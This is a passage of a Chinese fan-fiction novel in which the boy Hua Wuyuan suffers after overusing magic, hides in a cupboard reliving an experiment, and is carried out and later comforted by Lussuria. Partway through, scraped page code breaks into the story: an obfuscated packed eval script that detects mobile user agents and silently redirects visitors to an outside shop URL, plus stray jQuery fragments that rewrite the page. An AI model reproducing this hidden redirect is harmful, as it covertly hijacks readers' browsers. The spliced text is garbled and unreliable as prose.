多到像有无数线头缠在一起,越想越乱。
而随着思绪不断往下沉,魔力消耗过度的后遗症也开始一点点浮上来。
最先是眩晕。
接着便是疼。
不是某一个地方疼,而是全身上下都在疼。
像骨头缝里被塞进了烧红的细针,又像血管里有不属于自己的东西正在一点点扩张。那种痛并不猛烈,却持续不断,密密麻麻地从身体深处翻上来。
花无缘抬手揉了揉额头,脸色已经有些发白。
他不想再问下去。
至少现在不能。
于是他只是勉强压住那股越来越重的不适,对玛蒙笑了笑,声音也刻意放轻了些。
“我现在有点不舒服。”
他说。
“下次再聊吧,我想先去睡一会儿。”
说完这句,他便站起了身。
可起身的那一刻,眼前骤然一黑,连脚下都跟着晃了一下。
花无缘硬是扶住了一旁的桌角,才没让自己当场摔下去。
玛蒙站在原地,看着他。
花无缘没有回头,也没有去看那小婴儿的表情,只是凭着本能往外走。
他本来是想回自己房间的。
可身体已经撑不到那里了。
才走出没多远,四肢都开始发软,呼吸也有些乱。花无缘咬了咬牙,目光在走廊边上一扫,干脆随便推开了最近的一扇门。
房间里有些暗,像是平时不太有人用。
窗帘半阖,花无缘跌跌撞撞走进去,第一眼看到的就是靠墙的橱柜。
几乎没有犹豫。
他直接走过去,打开柜门,整个人钻了进去,然后反手把门关上。
狭小。
昏暗。
封闭。
花无缘蜷缩在里面,额头抵着木板,呼吸越来越急。
他其实很熟悉这种感觉。
之前为了适应迦勒底的节奏,他也曾拜托过医生为自己增加魔术回路。刚开始适配的时候,身体也是这样。
像身体被迫重新认识自己。
忍一下就好了。
忍一忍。
只要适应过去就好了。
花无缘死死抱着自己,指节都因为用力而发白。冷汗顺着额角往下淌,连睫毛都被打湿了。他想把呼吸压下来,到最后胸腔都开始发疼。
不要发出声音。
不要被发现。
不要让他们知道。
他一遍又一遍地在心里告诉自己。
他甚至有那么一瞬间,分不清自己到底是在这间无人的客房橱柜里,还是又回到了那个狭小的箱体中。
有呼吸面罩。
有消毒水的气味。
有人在外面说话。
“保持清醒。”
“记录反应。”
“不要让他晕过去。”
花无缘猛地闭紧眼睛,额头抵着木板,牙关咬得发颤。
不是那里。
已经不是那里了。
这里是家。
至少名义上,是家。
也不知道过了多久,柜门忽然被人从外面打开了。
光线一下子涌进来。
花无缘下意识眯起眼,身体却已经连往后缩的力气都没有了。
下一秒,一双手伸进来,直接把他从狭小的橱柜里抱了出来。
是路斯利亚。
花无缘浑身都在出冷汗,衣服后背湿了一片,整个人缩成一团,几乎本能地紧紧抱着自己。
路斯利亚抱着他,脸色一下子沉了下来。
“小花。”
他低声问。
“哪里痛?”
花无缘喘得厉害,额发湿漉漉贴在脸侧,连嘴唇都没什么血色。他靠在路斯利亚怀里,勉强抬了抬眼,声音又轻又哑:
“……过一会儿就好了。”
路斯利亚皱着眉,明显不信。
可花无缘已经没什么力气再解释了。
他只能断断续续地补了一句:
“过一会儿……适应了……就好了……”
那语气太熟了。
不是会好。
而是只要撑过去。
路斯利亚听着,心口沉了下去。
因为在摇篮事件之前的那段时间,那个人也是这样。
也是会毫无征兆地流血。
查不出病因,也问不出缘由,只能一阵一阵地发作,再一阵一阵地硬熬过去。
没人知道他究竟对自己做了什么。
又或者说,没人知道他到底把自己折腾到了什么地步。
路斯利亚抱着花无缘,手臂不自觉收紧了一点。
怀里这具单薄的身体让他想起那段最叫人烦躁的时间。
玛蒙也说过。
魔术和幻术,本来就不是同一个体系。
如今这个年代,外界的魔力早已稀薄到近乎枯竭,真正还会使用魔术的人已经少得可怜。
可越是这样,越有人不肯死心。
宁愿用更极端的方式,把原本不属于自己的力量强行塞进身体里。
风险越大,往往也意味着更可怕的回报——前提是,人能撑得到拿到回报的时候。
而这种做法,对身体造成的损伤只会更重。
路斯利亚低头看着花无缘。
那副模样,实在太像了。
因为他比谁都清楚,所谓撑过去,很多时候根本不是什么办法。
只是没得选而已。
到底出了什么事,才会逼得这个孩子走到这一步?
甚至觉得,连瓦利亚都无能为力。
可问题是——
小花究竟是从哪里接触到这些东西的?
路斯利亚没有再说什么。
他只是抱着花无缘,转身往外走。
花无缘蜷在他怀里,闭着眼,呼吸一阵轻一阵重,像在竭力熬过身体里这一波翻涌而上的排异与撕扯。
走廊的光落在两人身上。
路斯利亚低头看着他,声音放得很低。
“小花。”
“嗯哼,姐姐在这里。”
他的手掌一下又一下,极轻地拍着花无缘的背。
“不是只有你一个人。”
花无缘没有回答。
也许是疼得没力气。
也许是已经听见了,只是不知道该怎么回应。
他只是把脸往路斯利亚怀里埋得更深了一点,湿冷的指尖无意识抓住了对方衣服的一角。
像一只终于撑不住的小兽,在最后一点意识里,抓住了唯一能抓住的东西。
花无缘醒来的时候,外面已经是夜里了。
房间里只留了一盏灯,光线昏黄,落在木质地板和帘幔上,把四周映得安安静静。这样的景色让他有种说不出的熟悉感,像是曾经也有很多次,自己就是在这样的夜里醒来,头脑发沉,意识混乱,分不清现在究竟是什么时候。
耳边有人在叫他。
“小花。”
“花无缘。”
路斯利亚连着叫了好几声,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739434|207997||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
花无缘才终于迟钝地应了一声,睫毛颤了颤,像是魂还没彻底回来。他望着头顶的天花板发了片刻呆,声音还有些哑。
“……路斯利亚。”
“嗯,我在。”路斯利亚低头看着他,“醒了?”
花无缘眨了眨眼,像是费了点力气才把视线转到他脸上,慢吞吞地问:“什么时候了?”
“已经午夜十二点多了。”路斯利亚说。
花无缘怔了两秒,像是在心里算了算时间,随后低低地问了一句:
“结束了?”
路斯利亚一愣。
“什么结束了?”
花无缘张了张嘴,像是本来有什么很明确的东西堵在喉咙口,可真要说出来时,却又一下子空了。
他盯着前方,眼神有些发散,过了片刻,才轻轻重复了一遍:
“对啊……什么结束了……”
那语气很轻,像是连他自己也不知道自己在问什么。
路斯利亚皱起眉。
花无缘却已经抬手揉了揉额头,动作还有些迟缓,随后撑着床沿坐了起来。
他的脸色依旧不算好,可他一坐起来,就像忽然想起了什么,掀开被子便要下床。
“我得去找……”
他说到一半,声音却又停住了。
要去找谁?
脑子里明明有个很急的念头,像是必须立刻去确认什么、必须马上见到什么人,可真顺着那道念头往下想时,却只剩下一片发空的白,抓不住半点具体的影子。
花无缘赤着脚站在床边,神情一点点茫然下来。
“去找谁……”
他低声重复了一遍,像是在问路斯利亚,又像是在问自己。
路斯利亚看着他那副还没彻底清醒、却硬要起身的样子,心里那点不安更重了些。他没让花无缘继续往前走,直接伸手把人捞了回来,重新抱进怀里。
“小花。”路斯利亚的声音压低了些,带着一点不容拒绝的意味,“你现在得休息。”
花无缘被他抱住,身体本能地僵了一下,却没有立刻挣扎。
他靠在路斯利亚怀里,呼吸有点轻,脑子里那种空茫感却越来越明显。
他皱着眉,努力想抓住一点残影。
似曾相识的夜色。
被叫醒时那种恍惚。
花无缘抬手按了按太阳穴,越想,头越疼。那种疼不是尖锐的,更像是有什么东西在意识深处缓慢翻搅,把本来就不算清醒的脑子搅得更乱。
路斯利亚察觉到他呼吸乱了些,手掌轻轻按在他后背上,像在安抚。
“别想了。”他说,“你刚醒,先缓一缓。”
花无缘没说话,只是低着头,额发垂下来,遮住了一点眼睛。过了好一会儿,他才低低地嗯了一声,声音轻得几乎听不见。
可那声应下去之后,他却仍旧没有真正放松。
像是心里还有什么东西吊着。
没找到,便始终没法安心。
路斯利亚抱着他,低头看了一眼怀里这张明显还带着倦意和苍白的脸,眉头始终没松开。他看得出来,花无缘不是单纯睡迷糊了——那种神情,反而跟接近他们认识的他。
房间里安静了一会儿。
最后,花无缘还是慢慢把额头抵在了路斯利亚肩上,像终于没了继续硬撑的力气。
他闭上眼,声音闷闷的,带着一点醒来后仍未散尽的困惑和疲惫。
“我总觉得……”他低声说,“好像忘了什么很重要的东西。”
路斯利亚没有立刻接话。